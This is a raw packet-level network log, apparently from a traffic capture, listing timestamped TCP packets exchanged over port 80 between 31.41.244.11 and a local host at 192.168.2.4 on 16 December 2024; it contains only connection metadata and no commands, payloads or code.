Dec 16, 2024 21:03:00.936898947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.936923981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.937096119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.937289000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.937319994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.937338114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.937470913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.937472105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.938271046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.938307047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.938422918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.938422918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.939042091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.939095974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.939208031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.939268112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.939928055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.939977884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.940038919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.940084934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.940798044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.940850973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.940870047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.940917015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.941679955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.941741943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.941759109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.941811085 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.942682028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.942730904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.942781925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.942832947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.943439960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.943486929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.943573952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.943623066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.944324017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.944376945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.944425106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.944490910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.945197105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.945255995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.945277929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.945324898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.946082115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.946134090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.946225882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.946271896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.947026968 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.947074890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.947101116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.947145939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.947880030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.947940111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.947973967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.948026896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.948818922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.948865891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.948899031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.948945999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.949629068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.949676991 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.949734926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.949779987 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.950531960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.950578928 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.950642109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.950686932 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.951431990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.951484919 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.951528072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.951577902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.952275991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.952341080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.952378988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.952430010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.953325987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.953381062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.953383923 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.953433037 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.954027891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.954082012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.954123020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.954170942 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.954955101 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.954998970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.955144882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.955190897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.955790043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.955820084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.955857038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.955890894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.956711054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.956763029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.956860065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.956918001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.957608938 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.957659006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.957760096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.957813025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.958494902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.958550930 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.958671093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.958729982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.959347963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.959399939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.959439993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.959496021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.960211992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.960270882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.960365057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.960413933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.961179972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.961229086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.961369991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.961427927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.961977005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.962037086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.962121964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.962169886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.962857962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.962904930 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.962987900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.963059902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.963745117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.963793039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.963843107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.963898897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.964659929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.964715958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.964760065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.964802980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.965563059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.965614080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.965713978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.965759993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.966389894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.966437101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.966481924 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.966526031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.967268944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.967345953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.967365980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.967411041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.968220949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.968236923 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.968267918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.968297958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.969253063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.969300985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.969394922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.969441891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.969929934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.969975948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.970020056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.970062971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.970822096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.970869064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.970913887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.970961094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.971677065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.971725941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.971837997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.971889973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.972577095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.972624063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.972850084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.972903013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.973443031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.973489046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.973532915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.973577976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.974307060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.974354982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.974417925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.974463940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.975227118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.975279093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.975398064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.975445032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.976099014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.976145983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.976216078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.976262093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.976957083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.977004051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.977056026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.977101088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.977847099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.977895975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.977917910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.977962017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.978724957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.978777885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.978859901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.978912115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.979629993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.979686975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.979722023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.979768991 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.980495930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.980546951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.980571985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.980628967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.981408119 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.981476068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.981475115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.981530905 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.982268095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.982315063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.982429028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.982474089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.129143000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.129264116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.129332066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.129333019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.129578114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.129601955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.129741907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.129741907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.130296946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.130331039 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.130472898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.130472898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.131120920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.131182909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.131401062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.131448030 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.131551981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.131589890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.132292986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.132334948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.132508993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.132553101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.133169889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.133209944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.133362055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.133409023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.134243011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.134268999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.134299040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.134325027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.134968042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.135011911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.135047913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.135094881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.135941029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.135993004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.135998964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.136066914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.136769056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.136817932 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.136878967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.136921883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.137597084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.137641907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.137756109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.137809038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.138453960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.138499975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.138549089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.138596058 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.139384985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.139451027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.139503956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.139547110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.140224934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.140269041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.140371084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.140414000 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.141117096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.141163111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.141300917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.141343117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.141990900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.142036915 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.142143965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.142188072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.142883062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.142937899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.142986059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.143042088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.143764019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.143815994 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.143858910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.143903971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.144783020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.144812107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.144834995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.144860983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.145608902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.145658970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.145703077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.145742893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.146409035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.146452904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.146532059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.146581888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.147284985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.147332907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.147377014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.147418976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.148175955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.148221016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.148319006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.148360014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.149039984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.149104118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.149179935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.149226904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.150027037 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.150074005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.150099993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.150182962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.150844097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.150895119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.150907993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.150953054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.151685953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.151731014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.151829958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.151874065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.152554989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.152596951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.152705908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.152749062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.153498888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.153526068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.153548956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.153574944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.154345989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.154390097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.154467106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.154510975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.155198097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.155250072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.155411959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.155459881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.156091928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.156141043 CET	49882	80	192.168.2.4	31.41.244.11
